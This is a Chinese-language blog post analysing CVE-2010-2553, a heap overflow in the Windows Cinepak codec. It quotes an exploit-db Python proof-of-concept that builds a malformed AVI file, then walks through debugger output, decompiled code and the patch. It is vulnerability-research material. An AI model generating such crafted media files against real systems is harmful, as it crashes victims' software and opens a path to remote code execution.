前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2010-2553分析[漏洞战争]

CVE-2010-2553分析[漏洞战争]

作者头像
WeaponX
发布2018-05-04 15:28:33
1K0
发布2018-05-04 15:28:33
举报
文章被收录于专栏:BinarySecBinarySec

CVE 2010-2553漏洞,也称为MicrosoftWindows Cinepak 编码解码器解压缩漏洞,影响的操作系统版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。

漏洞原因在于Cinepak 编码解码器对媒体文件解压缩时代码控制不恰当,可导致远程代码执行。如果用户打开特制的媒体文件,此漏洞可能允许执行代码。如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。

漏洞利用wmplay.exe,而wmplay.exe这个播放器在国内很少有人使用,如果被攻击者使用了第三方的视频播放软件,很难攻击成功,这可能也是这一漏洞不被分析重视的一大原因。

在exploit-db找到老外的poc

代码语言:javascript
复制
'''

  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/

http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/

'''

'''
  Title             : Microsoft Cinepak Codec CVDecompress Heap Overflow
  Version           : iccvid.dll XP SP3
  Analysis          : http://www.abysssec.com
  Vendor            : http://www.microsoft.com
  Impact            : High
  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter           : @abysssec
  CVE               : CVE-2010-2553
  MOAUB Number      :
'''


import sys

def main():

    aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
    number_of_coded_strips = '\x00\x10'
    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'

    avifile = open('poc.avi', 'wb+')
    avifile.write(aviHeaders)
    avifile.write(padding)
    avifile.write(movi_tag)
    avifile.write(cinepak_codec_data1)
    avifile.write(number_of_coded_strips)
    avifile.write(cinepak_codec_data2)
    avifile.write(idx_tag)

    avifile.close()
    print '[-] AVI file generated'

if __name__ == '__main__':
    main()

生成poc.avi后用wmplayer打开,直接崩溃。附加上windbg打开

看起来是iccvid.dll中iccvid!CVDecompress+0x11e出现的漏洞。

因为是堆溢出,我们这里开启页堆!gflag +hpa,页堆的机制就是在堆的末尾增加一个栅格,属性是不可访问。如果发生了堆溢出则会访问栅格造成异常。

发现edi就是页堆,即发生了堆溢出。

看看目的堆edi有多大

代码语言:javascript
复制
0:014> !heap -p -a edi
    address 075e7000 found in
    _DPH_HEAP_ROOT @ a1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 7b92c38:          75e5000             6000 -          75e4000             8000
    7c938f01 ntdll!RtlAllocateHeap+0x00000e64
    7c809a6f kernel32!LocalAlloc+0x00000058
    73b724a8 iccvid!CVDecompressBegin+0x00000080
    73b7c6a0 iccvid!DecompressBegin+0x00000214
    73b766a1 iccvid!DriverProc+0x00000198
    73b41938 MSVFW32!ICSendMessage+0x0000002b
    7cf8df19 quartz!CAVIDec::StartStreaming+0x00000278
    7cf8d164 quartz!CTransformFilter::Pause+0x00000060
    7cf8d0f2 quartz!CAVIDec::Pause+0x0000002f
    7cf8cf69 quartz!CFilterGraph::Pause+0x00000107
    7cf8ce93 quartz!CFGControl::Cue+0x00000032
    7cfa4584 quartz!CFGControl::CueThenRun+0x00000012
    7cfa44d7 quartz!CFGControl::CImplMediaControl::Run+0x0000002b
    491be351 wmp!CWMPGraph::InternalPlay+0x00000039
    491be300 wmp!CWMPGraph::Play+0x000000a8
    4917ff31 wmp!CWMPControl::InternalPlay+0x0000015c

可以看出这个堆有0x6000,此时ecx=0x800,所以每次复制0x800 * 4 = 0x2000个字节。然后我们看看这个函数的伪代码。

代码语言:javascript
复制
do
{
  if ( v29 < 0x16 )
    break;
  HIBYTE(v15) = *(_BYTE *)(v14 + 1);
  LOBYTE(v15) = *(_BYTE *)(v14 + 2);
  v31 = *(_BYTE *)(v14 + 3) | (v15 << 8);
  if ( v29 < v31 )
    break;
  if ( *(_BYTE *)v14 == 16 || *(_BYTE *)v14 == 17 )
  {
    if ( ULongSub(v31, 12, &a1) < 0 )
      goto LABEL_33;
    HIBYTE(v16) = *(_BYTE *)(v14 + 8);
    HIBYTE(v17) = *(_BYTE *)(v14 + 4);
    LOBYTE(v16) = *(_BYTE *)(v14 + 9);
    LOBYTE(v17) = *(_BYTE *)(v14 + 5);
    v18 = v16 - v17;
    LOWORD(v18) = *(_WORD *)(v7 + 46) * v18;
    a2 = v18;
    if ( v32 && !BYTE3(TotalLen) && *(_BYTE *)v14 == 17 )
    {
      qmemcpy(
        (void *)(*(_DWORD *)(v7 + 28) + v32),
        (const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000),
        0x2000u);  // vuln here
      v14 = v26;
    }
    v19 = v30 + 12;
    v20 = v14 + 12;
    *(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32);
    v27 = v14 + 12;
    *(_DWORD *)(v7 + 60) = a7;
    while ( a1 >= 4 )
    {
      HIBYTE(v21) = *(_BYTE *)(v20 + 1);
      LOBYTE(v21) = *(_BYTE *)(v20 + 2);
      v22 = *(_BYTE *)(v20 + 3) | (v21 << 8);
      v24 = v22;
      if ( a1 < v22 )
        break;
      switch ( *(_BYTE *)v20 )
      {
        case 0x20:
        case 0x21:
        case 0x24:
        case 0x25:
          (*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))v7)(
            v19,
            *(_DWORD *)(v7 + 56),
            *(_DWORD *)(v7 + 52),
            *(_DWORD *)(v7 + 48));
          break;
        case 0x22:
        case 0x23:
        case 0x26:
        case 0x27:
          (*(void (__stdcall **)(int, int, _DWORD, _DWORD))(v7 + 4))(
            v19,
            *(_DWORD *)(v7 + 56) + 4096,
            *(_DWORD *)(v7 + 52),
            *(_DWORD *)(v7 + 48));
          break;
        case 0x30:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 8))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        case 0x31:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 16))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        case 0x32:
          (*(void (__stdcall **)(unsigned int, int, int, int, int, int, int))(v7 + 12))(
            v7,
            v19 + 4,
            v22 - 4,
            a4,
            a5,
            a6,
            a2);
          break;
        default:
          break;
      }
      v20 = v24 + v27;
      v23 = 1;
      v19 += v24;
      v27 += v24;
      if ( v24 > 1 )
        v23 = v24;
      a1 -= v23;
    }
    a6 += a7 * (signed __int16)a2;
    ++idx;
    v32 += 0x2000;
  }
  v30 += v31;
  v29 -= v31;
  v14 += v31;
  v26 = v14;
}
while ( idx < CodedStripNum );

可以看出,每次循环后,会将edi的地址增加0x2000,注意v32这个变量,第一次其实并没有复制,因为第一次v32为0,也就是说qmemcpy复制两次就会导致堆溢出。

分析一下PoC,根据CVID格式分析(https://multimedia.cx/mirror/cinepak.txt)

代码语言:javascript
复制
flag = 0x00
cvid长度 = 0x000068
coded frame宽度 = 0x1060
coded frame高度 = 0x1020
coded strip数量 = 0x0010

可以看出coded strip数量应该是小于3即可防止多次拷贝导致堆溢出。

patchdiff

patchdiff下发现pathc了这个函数,看看patch在哪

可以看出,对比了coded strip是否大于3,大于3则退出。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2017-05-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • patchdiff
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档